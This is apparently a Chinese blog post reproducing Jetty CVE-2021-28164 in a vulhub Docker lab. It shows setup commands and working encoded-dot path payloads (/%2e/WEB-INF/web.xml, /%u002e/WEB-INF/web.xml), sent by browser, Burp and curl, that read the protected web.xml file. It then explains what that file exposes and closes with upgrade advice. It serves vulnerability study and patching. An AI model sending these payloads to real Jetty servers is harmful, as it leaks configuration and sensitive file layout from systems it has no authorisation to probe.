vulhub|[ vulhub漏洞复现篇 ] Jetty 不明确路径信息泄露漏洞 (CVE-2021-28164)

博主介绍 ? 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
?主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
点赞?评论?收藏 == 养成习惯(一键三连)
欢迎关注一起学习一起讨论??一起进步文末有彩蛋
作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录
  • 博主介绍
  • 一、漏洞编号
  • 二、漏洞描述
  • 三、影响范围
  • 四、指纹信息
  • 五、环境搭建
  • 六、漏洞复现
    • 1、浏览器复现
    • 2、Burp工具复现
    • 3、Linux复现
  • 七、WEB-INF/web.xml介绍
  • 八、漏洞修复

一、漏洞编号
CVE-2021-28164

二、漏洞描述
Jetty作为Eclipse基金会的一部分,是一个纯粹的基于Java的网页服务器和Java Servlet容器,其支持最新的Java Servlet API,同时支持WebSocket,SPDY,HTTP/2协议。
. 和 … 称为点段,都是为路径名层次结构中的相对引用而定义的,它们在一些操作系统文件目录结构中分别代表当前目录和父目录。但是与文件系统不同的是,这些点段仅在 URI 路径中解释层次结构,并作为解析过程的一部分被删除。也就是说在解析URI路径时,需要先处理 . 和 …
Jetty为了符合这种处理方式,却导致了一系列的漏洞产生,首先是在9.4.39版本中修复了CVE-2021-28164,然后出现了新的绕过,其又在9.4.43版本中修复了CVE-2021-34429。
三、影响范围
Jetty 9.4.37 Jetty 9.4.40 Jetty 9.4.43

四、指纹信息
"match": "server_contains", "content": "jetty" "match": "banner_contains", "content": "jetty"

五、环境搭建
由于前面写了十几篇详细的搭建过程,搭建过程都差不多,以后我就不写那么的详细了,我就不截图了,只把命令打出来
1、进入 CVE-2021-28164环境
cd vulhub/jetty/CVE-2021-28164

2、启动 CVE-2021-28164环境
docker-compose up -d

3、查看 CVE-2021-28164环境
docker-compose ps

4、访问 CVE-2021-28164环境
http://192.168.13.131:8080/

5、查看 CVE-2021-28164提示信息
cat README.md

6、关闭 CVE-2021-28164环境
docker-compose down

六、漏洞复现 1、浏览器复现
访问http://192.168.13.131:8080/WEB-INF/web.xml出现404回显页面
vulhub|[ vulhub漏洞复现篇 ] Jetty 不明确路径信息泄露漏洞 (CVE-2021-28164)
文章图片

payload1
http://192.168.13.131:8080/%2e/WEB-INF/web.xml

vulhub|[ vulhub漏洞复现篇 ] Jetty 不明确路径信息泄露漏洞 (CVE-2021-28164)
文章图片

payload2
http://192.168.13.131:8080/%u002e/WEB-INF/web.xml

vulhub|[ vulhub漏洞复现篇 ] Jetty 不明确路径信息泄露漏洞 (CVE-2021-28164)
文章图片

2、Burp工具复现
直接访问WEB-INF/web.xml这个文件路径,抓包
vulhub|[ vulhub漏洞复现篇 ] Jetty 不明确路径信息泄露漏洞 (CVE-2021-28164)
文章图片

payload1
/%2e/WEB-INF/web.xml

vulhub|[ vulhub漏洞复现篇 ] Jetty 不明确路径信息泄露漏洞 (CVE-2021-28164)
文章图片

payload2
/%u002e/WEB-INF/web.xml

vulhub|[ vulhub漏洞复现篇 ] Jetty 不明确路径信息泄露漏洞 (CVE-2021-28164)
文章图片

3、Linux复现
有人可能要问了,都是一样的操作,为什么要整得这么花里胡哨的
其实这不是哈,我只想每次都有一些不一样的方式去进行漏洞复现
咱做渗透的思维要灵活,漏洞复现的时候需要有多种方式打一个漏洞
每次都又新东西,既不显得枯燥乏味,又了解了不同的方式进行攻击
一次次积累下来,咱再战场上才能有更多思绪,才能知道最便捷的方式,才能节省下跟多的时间做更多的是
直接访问404
curl -v 'http://192.168.13.131:8080/WEB-INF/web.xml'

vulhub|[ vulhub漏洞复现篇 ] Jetty 不明确路径信息泄露漏洞 (CVE-2021-28164)
文章图片

payload1
curl -v 'http://192.168.13.131:8080/%2e/WEB-INF/web.xml'

vulhub|[ vulhub漏洞复现篇 ] Jetty 不明确路径信息泄露漏洞 (CVE-2021-28164)
文章图片

【vulhub|[ vulhub漏洞复现篇 ] Jetty 不明确路径信息泄露漏洞 (CVE-2021-28164)】payload2
curl -v 'http://192.168.13.131:8080/%u002e/WEB-INF/web.xml'

vulhub|[ vulhub漏洞复现篇 ] Jetty 不明确路径信息泄露漏洞 (CVE-2021-28164)
文章图片

七、WEB-INF/web.xml介绍
其实就是一个WEB-INF/web.xml泄露之前,我们了解以下web.xml是一个什么样的文件,以及它的泄露会出现哪些问题。直接看WEB-INF这个文件夹吧。
WEB-INF主要包含以下内容:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 /WEB-INF/classes/:包含所有的 Servlet 类和其他类文件,类文件所在的目录结构与他们的包名称匹配。 /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件 /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties:数据库配置文件。

在了解了web.xml这个文件内容之后,我们就可发现它里面所包含的信息就是敏感文件的分布情况。所以说只要我们有权限访问这个文件,我们就可以通过文件包含等手段进行敏感信息的获取。
八、漏洞修复
下载官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。
https://www.eclipse.org/jetty/download.php

    推荐阅读